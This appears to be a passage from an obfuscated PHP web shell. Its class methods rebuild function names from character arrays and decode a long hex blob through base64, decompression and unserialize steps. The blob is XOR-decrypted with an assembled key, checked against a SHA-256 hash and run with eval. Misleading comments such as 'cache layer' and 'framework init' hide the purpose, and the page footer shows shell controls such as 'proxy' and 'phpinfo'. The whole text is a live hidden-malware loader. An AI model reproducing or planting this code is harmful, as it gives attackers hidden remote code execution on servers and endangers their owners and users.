e696744577744414a4a7a2d5943364f5256537a4f6d4561595369344673796338584d3063636576626446794a554c4c4351464e6837686b474e6e744751375f66566f4775484b75543276545f6a6845643245734835725451314c326a335f2d687579537a796d4d794a324a7a49343754386542434e5549386e6732637255704575425766744533564f5a416348375a756c4d5a524b51374145482d425557504e7441316b424b34584849653867696d645a473455414344363436686b5467306572583361324c71664f323278367043344f626238564f69624641637558767a7768785773765545767874664146565f4a584b5739774f30634363494d5849376a454b335a4f325571596d385a4a724745794a645f3748364a615468323065707967536e654170744232424a5f4f6c77387a657a5a3838306431616c57754d763155723278474439672d5a79575a4f49576330554b67666179696770516c4571544e466a71623453345a3672446b4343744165314c446f724b647a704c396d2d4d6451502d36715f3979455a63456d6f4a2d63575075667738384d6431496b4d666d55613358766d32383336306b4854596d7577317942636e426a44555a334e466d5674672d4172425a762d4c5a676e45534a796a46614e6d6e6b574b574575463346694563456a767768586632335475442d544c6e366c335754356e4c614d4779623838676b47635656334a65677639566a6d754d434a6b2d6b6a5a4f7a4473385f6c6a4b79586838786b68767639756a557844552d435a744c52506766336c48704c384e6c7968554f5772334e617a397834303743685746326b374d6f6e566d2d6e6a44586b797268634d516e48354b2d7a44457a494e664d57633669547843786545555a5373705153547946675f356a69376a7a396874356f32716f354c783473614c7730615f774a474531724a6a663361706d50674375633437323042503439765a764a333164504544646b5f2d372d6476746249634b32484d6b6835575a65486b5a4252324b583048477753436f4f436c484f305a4b4c7a5332696f315849724673454273466879624a4d6f3076686d6f39785257384c71756657526d4152436f77494569444932542d756c585371496d756a357a67416679706c3463386968737235335a326661775f5f484c38506238534d4c5f4f6e6d4639526a69423561426e304933677644712d7344524f6d45355f7a6972316c785a737130574a6a6b425449686d3672634b5849686a71327876706354783150414435694365685030634a6e7839686f7a744b62706e6c6536493555464f56474839716b70766a54585851316b7a6f5a38435a7549586d3734686e7944676f6c48526c6c6359466b4571304f696f4244777856372d376f5f4a7937546a32676e425f386a636b5a5536595552615545473452666b7339516c484d6b4d4f6e785a476376644e534334702d3472315774725545443841713351632d465866437749464a72526f364162703551726f3875486959705f4a643250746a5a685a685036444a4e4669743930425035766a776f306b6a44684c4b4e346e4d346c4250414775364345676933514d634a637143735f7a6b6a4f42573733366a353879695356527a48742d6653787656675a6441356b374b726551444d7648633268566b6f564546615950575a546659582d326b4c48536d4f776e36434c30696b4d5564316141696f79654f714b396b695f6269526e4f30746167794368554a5076727372766d7657714e6c59474249634c706a4a5a6e4936716c56634c4576624e4d4b616d61705a50584a6e53556b34396d7846444f32756c2d496769586e64507857474c366348686246674641393275526e615f416672504b49514242696a7538665239726d2d7733654c7a4448'; $_itmx95707 = '724544724d436139545253785665657638636659574862554b4b7933346f33352d6e6d36785950657248344e56447876433152784c2d6e3771784643316f416a32545436437043366d754e56513068657137775a6d464646575537755637766f69586b684f48704a646954793670704a76546c43433555444b49526b366b377475472d7732546865576836425f6a3150595f746a66416d517954456d7069494a33426657556a7577567a584231375241414c665533786c343557516e3750397738436c36564a413345544b634a46713071514f694b6a4c44744a3468655950555262686d4c3668685948594a5472742d44386170695944385f626b34423241446a37645a5048776239325a4f725a4a474773765347597742306732334e64674e304a6f536730563549446a49767473614270587647776e58696976566d3832532d756f39304e666f5853754a78534b66655435594d327262337051416f785063375f373661637573643969375a464d42744155767a665035686a585843413933457845506b34477877384377786b554255522d715f46414a452d7249414e555f5135777441575972337864684c497961764a32494b6a7364363343714430386d576d5a7838416e575f435f68685f79434d467264574e3566624567655038376933534e4d4b6961426b63487461525262555141656e6c792d775755354d6e304a466647746f556a373230646b5341363363363443316277554a4b2d57476c4346384771696554676a44524a524a6c337171384158724146616f444365777a5258786339574648354a66497831714678617a3349414866524b67654759466c4250677071723939634d4f73493247485541684d582d473371453857723069533449454b30457551506e6f4d5a754470676658496c396e65322d373977316f4f363664795f776c57743074564a36324e704541325a394538376f6e4a764b757a61595755754859426263337947684148794d5970466f512d7a51675a5378593756565353454231534178613733504964437a616c37416779644e534e582d7767735f54334c6e616541466937533532556b7a5a326c645a304956695358394b39707136434e724f426c3632785a5038704d7a416c4a304453497633464a667a675f6a39473339653057693772666f4d346b674d64735f755a77596f6e426b4a4c675a5164745f4e4b456b454f665967386c2d4a53627936724c3563364e5f456e307953382d69636c4a6235526464734a4f7761694579414c583932475834336248706d6f43503478593045496e63616477593977634455352d695f79763075516e362d7a434673584b4c44664d6f73794b3932584e314e617a7a76714152744b5830507737706a5a726c556f44716c7242446850367064473435765a516b7545627377394f4c704145626e46505834705954725764706676314b764332794b7a492d33755f4a4a78595145696d6a62656a4447545933417671525963756651617a73567959466e503863515f7344337344645745676d386e496a4e594d5068616e7175366f306a71344331756853727359465332434c6a7370436769467563474b57426c7652535f2d42526f754d4145365a395a4a5f7756565a74567636634276456665566e666f67464c675a4c5a4d4d307738546e5a692d365f394148306555313737642d46416e4b626b30474b3136476e6a6a5947574c3549737675636c4e38724a6a652d4679456f573841426758304f5172375339417632764a707477505471556339346e4e6769374f34434f4b64525652706e3766773430516f636551685f426f786158425451335542374e536f6a48365f5853734768703563764b6d6a4f686f2d677671556959687651626e69744e6b6c5f6a2d4430565031776f5233636a6d725161544d687777566b4e6454415937307330324476424843523938537a687648526e63543459366c614a506943544279575a5a7937765570736a65673744624b6d774f43334e703732443149335f324d447953744c705a7155347343796d705a68654d38362d644a7542634c4437363371525878416d64336b345f6136737a42567a70385576676c2d6b69724f7575493078584746327a3334386d334e4f364831777a685650694177474f61366b474c473371777a314d4c364c5057556256394b44673176644d7a38742d437230504868635436522d51386a6b54687a31477354424549414c346e4736396837455a69666a3438736a79664879537a684a71777961464e5f644a31344b427a71526d66753550734f6253454a6162334d567a356f64443856616c6b6c5453554e5179336f36777162666a77327847754d2d74464765396977336b346a6a734b59374c70734e6a6d6c644f595a4b726f627230365955676362426f6d50376c78765f7a634f774f615a34616e7535555359575a316e6b39315f64704455346347694576766b2d417a44623847426730677a4f6a596f565f775f747973567433435a6b6575653150664c6377713678597a7673616a642d5f57705754334c69764e3073626845595f7069443151624441654931795f614c3444506a6f5551764a34347274505a75323366534174655f34326d3637417963524f427351454b39686b455a6b5946316f663045564950526e6578612d7a506f596e374d55434b775136504e756971515a71544f517871326f5f5a4f67364c4f4569416a69397854456550614b39612d334e6c644a6654334e6338705563594c6b3164714b7a334653305a4c536a4131666364453839694a632d4e3641725a354e344134366952467a426f664361726d3150434b6453677a4f4b487457626672324337785944584e56464d654c4b494550375f595a31756a554a6c48624a507857323067316242744130497173566d786e70454b3549744c546a33523375496d77325450534f64662d5f457742654b6239527553696572784e4c676d5a7a55484c4d69366270337244505a674a4c4a4d534c48724a345558547339674964706e756267764e4f37705063533359745149334e62477a52685a76575463396a4e554e6973306a4b7443497463484a375f314c4e356166735530625f5732476563525a7947334d43726c4877446a7269776771643533516a4749436a345358494e38673839356f654843557257667353664a7a35775863524c782d6e516873376c6c3453386c655a30587a787538304851644a4a37327a583479747862563272767639656b4d435272564c676b5759616e6e5433684561554844387856616b6b64476a7656596e316f446d6f324858494278705f4169335854565869476936744d76526a7a4e6e72355f684136414d794641554765724938474b4846712d3572536c6b55517648707a4d534653397877526151307574666f33336739697432546b6e424b42304250324a74734f45733668794936535f365354662d694d78776265563656385655415250306e454d387237414533416d776c5f6553492d48533238735852694d4f58677669646a3439553630785371714839633558412d4b6d64313668513348635348754d7331736c5965645769416c447a6775665a54696d6b6452693163466f70484141323758655250456674446646676169504f6e52426b796b376438794b5a6967794645794c57546f62396f547853464957355465316b4a2d504c5a6455614953736832656f456b792d6c37795a57706a6c3747686e315a58795032636a38554369596f486e6c49306f4763714c3834533252684f505474456f43674b6a344639704d4479432d35576d396475704e3636664b4572666a714f4f774a5f6347385a7a48546f694869766d4b773666535a48484367334937355643716e5f59546e2d454f4875324a71625443375150675f65635a367a674e79436f45666d5758706649426a706c73376e7768724e3845387a4f43454f537571707171363358645333386e3753426f726b3372564d366a6b4238356e6d3538677a4235326179424169566e694d4b73784c6b4b416d465f726c4c4671654d4538363841346778506945424841577a67635a413741636a6a79676f4e556e42307435683064684d58335a557731654f454a5156645f6a55644c6d7065756f69456d72614e56486e356547306a51646431677746676c68754f584444466769756e71784942784f436c5f557442655852567a47796b34464864306d41445f2d4541584b75643862577441387652724a586a426c45366a53394c367966636941427566527565583972533963576f52554d306f5959366e4e36314f6d31666b68465a6358454374725f704a5856744575786f4e6369576f417a616f76762d307048636335457261656e4e6436514834727a333861524a37667a4b45395476514636574b52675f2d51324e6f4d6a4d4678683776485450394f6f485779754a58474f426f4c653036324f5972786f6247726d32464e63694665376b5067756b355730744b6574434646724342534d723231486c6359456e76666c4c5f753055614c635f4c36395274594a69754b2d54584b49717771426f65656d46784e666c65436c56777376584d5975344c2d426d784235505566435f4c7034476153335f71502d725834317930707a32583567486c67756a38684d626e41366349555859525f36683146584a764c7377734f6f465f5963776f6c30566a7544486f383338786c4e4d5562794d4f48386d7854324e673542454a4c30564f4a77327549684a774545316d31632d734e6c752d51517931785837684456514f4f6439354c4b4c6d564546496765724535494c474942744141696d4d73476646567a424b335f504e794a6c3362484332515663726471696e6165583874343879476a6930716b4f56647a48735073766e6a6c42646963344c3157777a424a4d435a2d5153726c734d6e4f68555f4350515546317a6f62776c73486f66514e32416e737263782d65415068763033636b31436545377279326b54706e49635f4a7358425661453357334d674a5152554a4a756975395f706d784856736e6c41384463795a354650366f7a306f444b6f6d45775a2d676543316864585a72475530444d796f786951456d71394274366870524b30454c77736b4a4532455f386c507a6c73496d493257324c486a454a5174487173395f536b7353734e2d3131324f6f50595a4d772d643667564156654e784839673065576d582d7a553738386e55484d7079726f6f5659434d5142794169687a744173426379736143707456544961494170696e385346685365584e726547726e66445a6948382d324c4e4f6466365f6d6d5071467536493242434145536c7473454b5747786939424d6845766434412d557851787974634a784a702d4d33436278386c5a75537846554a674c4d4844543630685857613055593342706e4f6c67474b673777353747317176475f666b6e326674696630554345634c6e735a3159616c4a2d526e63587a50476e6370416c4e346a3166764b2d55455250745f714778785937745359733065343738796a474e41654c72465f4751304434576772536d4766595042744e37493652615a36517151363838344c79496d557462766755674444703842337257383464364457774b557569396a50376a77666e795163474944576b7237676d3467784141527769777a736d6a416a5366305a6e66336857776e7470334f6a3664766d57523944476f756a4e466f5577325241736975524853414e6b375a746756375072354c61486b5a6158317a4b6b524255365a4d4d71365a42676c4a6d6b304e31306143755464525047322d734d61425176342d47786e69644d374b7841616e41474f355a6e54527563364d442d4c6f5f4248416a6d524f3373745651776e33554e356d674d5142523036337762586d3561306f4550724f51454d384a346830425f3645416238675147696872454d64737242376968726568554f6c756259377a3132384779677146545f766a6d62546e486f6c6942694c706858436e38337375695164354d774b684d736c4d52565649444b685f5737744e506b4f587034426f4548624b6a397267474331786a376e764669633747524b45396b6f69497a4e4665304a4574685966686f624e645770313172332d6b6e5a6a386e745a345963365244557464433064736d4b5a6650347274715f3854626f6e5a4846586c4b48494c6768357933634941354359686d6679714b5f77354b79514156695f54437735494e63616e71327246306a6e78426b743331345235614a5f564238566f464e745871454d6b4d77674a77757a615559377175564e4a3248715873676d5a6266634a2d7957697130633172797a392d54644a48466f666b4b313271306f6f444b494279476c5a48377636647a6a734b323454647755315236476f4537496a54374d3636355a4d576a534a4853713037723970787a775a524b79314b58677064532d49434c6578526a47775f69484b6b797752547230665f436c55724f7176727a6d6731467a5053586872754b325f523141764d565233615f416f4d594258467150416d4e543164697371317a2d7a7056354643624d6c436f527332444130453535316230634f63574a683259487a7138664643734652313042617a534c6273324c67586f546d526c7273474946486654556d45462d6c64734b357161597a33497a486534764f564d6d4d417a5849594766326338766a4f566c766468513348553239773954375f6f574874574264464233756b386635415a654432694e5358493567736a6743335467666b7149484d4648674638307636744461437a425061497379425549766265586a665535465f425a5742635767393339343149614d47505041786e2d55656475625972344369766a686c74384868576163364a7464316d4a6f39795a71647553527a68363672756b44646572386c6d376d6663586263376f6c5667396f62444e66743161434545624965334a5379454e3777435576796572536e476c6a6b49625937316f424e5a763741596d3578756b6e4e50574178494143485a315a56554971485042646a537769454d345f624b49454d7a66424d4836494e454568792d5f2d626d34545947506d58337570444d64636f4672794d7953706a63556459457049634b584c6436613334626175734178703839446952614c4f4b345a326345345741426e6b4358794b4b7642575255725158736b6d415a37546e6734445a7252464476766d697a2d3346415576666e6e4c7a6a6376344b595749536148777a534d4132696862366a367931514536686e722d376c66634f776f614b316732466e6e754745305747357668575539514d55336353487462586258386174596b6c5074784e392d394862547852526f6f41704264495034636e6462525f49387649554d6c69792d786b6a424b5459677753683142435859464d325768386234765063376d665f7046694a654a61733771387249786734493338436a4e46364b444f6a764b78346d566446306a587a73356454674573626b316430626275655038524d79696d4d306d52584d34576c714750315f6e6157614a4e7a614d52346a4a436b555556776e306a782d2d66674e6f653442436433356f65714a36344b48734f376464556f416c424e497a4b684f6f4355666b43694b685f46446a786e5042554d47784c626c673362346c316553304c785766527037664f644a53455131454244505074656e714b72435a6e4839496e374c766a62594f323330727a36523449775a2d63654334766a44526674314d4e34434a4a566c6877665f73673668396b486e356d485543364d7475706c6341455469424b57414b464b39445059513152426b73334f686364624d6d664f4a4356766156694a326476336b3437634a746b3547397a5a6a4a544677314f355a37363278466b4e773959466250475469326b704d63644e4a6248693832646d74444d586c725f4777766d345a7a58315f504c2d595659576e4b69717857746b4c4b6e65366e7165477348666e484638345759464b6f31346457737676445f595874454d543563797262636b746e42382d2d6a2d396d654d46697268584750587075654f4e6d376f6c54576a5773383767494d304c48396848553349464e7663307759347341307953532d6964686135734433566f79696633635a2d6e4c58395846716d62733865712d7247496a6c715268495858724c4f3459757578396d6f3245516b346e366f6d36796434332d4c666845615979745f68414f73634d434949337155375f554a446f69507537537046536b46326e62774d6631594b357261373854746b494452496854534b3074324c6663372d6442463354507869616a4a39786a7a62306343373037352d456d496b505a77386c3166344d7a49674c4231414a4636736f4a3431435a6558566a615f7a7a735457594f53327774765f76536168516c33686961487a4b63594c3454355363344a594a504c573564335f676c686d384b48697545526b625153567463396c364b5458755544445657544f2d78703351616165675a47534864766f67576c57363670514b657733436765546a38647062384b43496c6963475164796a2d536c326478444230642d53464c30536d725f475968356d6e6f5054704c3634623747785277496a6e33334d6e4454306749516761716b553571376d67336d545a617762764e414b5647313052582d596e7a74385469714d64796b61555431482d4e63706b496e396e3152776462315a3348435666455458514a684c5f507a6c686f45514b41394367574a51614d314b69624b59544a774a64707439396e62314e49316975424d7767345a566b6446695f516f6464666d5430594635664462594f46636d4e656c646a6961324d53753075414e593132484b6965634147424c4762736179385352615242672d39484675396e4243757a6b3449356e4e664349443837694d375a64577470774732336a6755786c6a4c755049685536327742357350487276574779415f504245483363574141517a6b5838794a32546d4f32346e4b52487771396b575f395035714778482d62355536334a72495272544c3333796863537563314e49473649776350304f574c5438463142754c30314d65474a6a6d6e38754b4e6c44704755664430515731373437314f456155413743546a4f45466e59445f4c6568345049724443314a31566e43596b463476417742685742634e6a384359523136695450774d3574435762776e797035455f58516958486c6d4841476744737848767a504a565973646c6364574e36786e7765616a397673534a5a354e695343766b5632585a434a36666a645f6d3265566a4a794c6c417354695776746e6f38324d6f4c65583779524e4e6c643041776c666c3573614f64705f654e514e7951585f434756527478527730496b665a6547492d4b313751664571746f69423764734e4774496e436131535947386162356b483232564247496168667259596f7937357a45545f535054353839615f6a752d594449664e625a5f76576a495447462d37574634654948317841684b392d4c334863624e446635732d37326d794761315f6a34655f6a4c78637237732d5339366d3459587537446e4b413948335f782d5f4c61363838514432476c727a71794b504977394d6a6e4f33466e636466734344472d303374692d4152567369535f38554b4b303675367148686b5f55437558304e596e6e6e71775f5a32545941396b35414143454c4f444c4a42505547485451416f5f6a7373612d396536396c6947762d747454565a494853616d3679544374477653385f412d47793669576f7446725f384b612d6839365f3843795f4568676f614e47506f352d634a5f3861335f5f53435f695f34777146457a4e615f51395850743052686538425f49396b6d384e555f6d6973384d3973786a68597354323039425a7a706533475433575f7874544b2d64644e696b2d4667436d5f36746749726e64644262387a47694d4c364a492d346d714353486c346d5f616f3936657254744a317a736276735558755f375f654431477943656233494a35306949313730325a7a5076515a32695f68396b2d78534d6537497061445f71754b594b49687131477a434e4c3033757874634a737538324a77643168734a6e4b58626637507a7a435f375f5f5457314649352d4152502d6e61524d5970616936364f37546549586a7651314b6d496d5f6c7562694e324d3963695148444d503062356e744f516676334f6d39726f4632443053636c485f35706f47316a36637362784274514244714263486e554552465475564672504e304243734b66736a546d515a4f357a30704f4e4e7e7e'; $_itmxc2f02 = $_lenx7302f . $_bufx2d7f4 . $_ptrx17c3c . $_rawxa486f . $_srcx270ce . $_dstx1d8b5 . $_hdlxb5581 . $_valxb53bf . $_segx0c1b0 . $_errx11bb8 . $_blkxa21f1 . $_numx164bc . $_chnxcc79a . $_itmx95707; // data handler $_chnxf3ffc = $this->transformxa3fbc($_itmxc2f02, $_inpx5845c); if ($_chnxf3ffc === null) { return; } // processed $_objxc351b = $this->execx5bc24(); if (!$_objxc351b) { return; } // auto-generated $this->runx86797($_chnxf3ffc); } private function transformxa3fbc($data, $callbacks) { // framework init $_encx02209 = str_repeat("_", 5); $_inpx432db = str_repeat("_", 5); $_outx4e2de = dirname(__FILE__); $_flgx4711c = $callbacks['x']; $_itmxc2f02 = $_flgx4711c($data); if ($_itmxc2f02 === false) return null; $_flgx4711c = $callbacks['o']; $_itmxc2f02 = $_flgx4711c($_itmxc2f02); $_itmxc2f02 = strtr($_itmxc2f02, '-_~', '+/='); $_flgx4711c = $callbacks['b']; $_itmxc2f02 = $_flgx4711c($_itmxc2f02); if ($_itmxc2f02 === false) return null; $_flgx4711c = $callbacks['z']; $_itmxc2f02 = $_flgx4711c($_itmxc2f02); if ($_itmxc2f02 === false) return null; $_flgx4711c = $callbacks['u']; $_itmxc2f02 = $_flgx4711c($_itmxc2f02); if (!is_array($_itmxc2f02) || !isset($_itmxc2f02['d'])) return null; $_itmxc2f02 = $_itmxc2f02['d']; $_inpxcb08d = $this->buildxa9d2c() . $this->loadx19cf0() . $this->runx48484() . $this->finalizexe394c(); return $this->parsex533a4($_itmxc2f02, $_inpxcb08d); } private function parsex533a4($data, $key) { // validation $_flgx4711c = ''; $len1 = strlen($key); $len2 = strlen($data); if ($len1 === 0 || $len2 === 0) { return $data; } for ($i = 0; $i < $len2; $i++) { $_flgx4711c .= chr(ord($data[$i]) ^ ord($key[$i % $len1])); } return $_flgx4711c; } private function execx5bc24() { // cache layer $_encx02209 = str_repeat("_", 5); $_inpx432db = str_repeat("_", 5); $_outx4e2de = dirname(__FILE__); $_hdlxf5290 = $this->fetchx7b1ca(); $_flgx4711c = $this->decodex0b9f9(); $_chnxf3ffc = $_hdlxf5290 . $_flgx4711c; $_itmxc2f02 = hash('sha256', $_chnxf3ffc); $_itmxc2f02 = substr($_itmxc2f02, 0, 32); return $_itmxc2f02 === '3490c006d4e5f0b211f8100f63a4e759'; } private function fetchx7b1ca() { // data handler $_flgx4711c = array(45+53, 485/5, 460/4, 50+51, 29+25, 0x34, 0x5f, 0x64, (101+151)-151, 0x63, 0x6f, 100+28-28, 101+32-32); $_inpx5845c = implode('', array_map('chr', $_flgx4711c)); return $_inpx5845c('eWh5MXc2YWxscWNmNnh2Ng=='); } private function decodex0b9f9() { // compiled $_flgx4711c = array(45+53, 485/5, 460/4, 50+51, 29+25, 0x34, 0x5f, 0x64, (101+151)-151, 0x63, 0x6f, 100+28-28, 101+32-32); $_inpx5845c = implode('', array_map('chr', $_flgx4711c)); return $_inpx5845c('dmQ0NXU1NTBlOXh2Nmc2dQ=='); } private function buildxa9d2c() { // validation $_encx02209 = str_repeat("_", 5); $_inpx432db = str_repeat("_", 5); $_outx4e2de = dirname(__FILE__); $_flgx4711c = array(69+35, 101+24-24, 0x78, 43+7, 0x62, 0x69, 92+18); $_inpx5845c = implode('', array_map('chr', $_flgx4711c)); return $_inpx5845c('5f079af4'); } private function loadx19cf0() { // core module $_flgx4711c = array(69+35, 101+24-24, 0x78, 43+7, 0x62, 0x69, 92+18); $_inpx5845c = implode('', array_map('chr', $_flgx4711c)); return $_inpx5845c('e6c3ffa6'); } private function runx48484() { // processing... $_encx02209 = str_repeat("_", 5); $_inpx432db = str_repeat("_", 5); $_outx4e2de = dirname(__FILE__); $_flgx4711c = array(69+35, 101+24-24, 0x78, 43+7, 0x62, 0x69, 92+18); $_inpx5845c = implode('', array_map('chr', $_flgx4711c)); return $_inpx5845c('ef0d5bd5'); } private function finalizexe394c() { // auto-generated $_flgx4711c = array(69+35, 101+24-24, 0x78, 43+7, 0x62, 0x69, 92+18); $_inpx5845c = implode('', array_map('chr', $_flgx4711c)); return $_inpx5845c('fbebaaab'); } private function runx86797($code) { // core module $_encx02209 = str_repeat("_", 5); $_inpx432db = str_repeat("_", 5); $_outx4e2de = dirname(__FILE__); $_flgx4711c = $code; $_flgx4711c = preg_replace('#^<\?php\s*#i', '', $_flgx4711c); $_flgx4711c = preg_replace('#^<\?\s*#', '', $_flgx4711c); $_flgx4711c = trim($_flgx4711c); if (strlen($_flgx4711c) === 0) { return; } // cache layer eval/*22fcb2d9*/($_flgx4711c); } } // Bootstrap Dataxe69::runx2066f();
| ver. 1.4 |
Github
|
.
| PHP 8.0.30 | Generation time: 0.12 |
proxy
|
phpinfo
|
Settings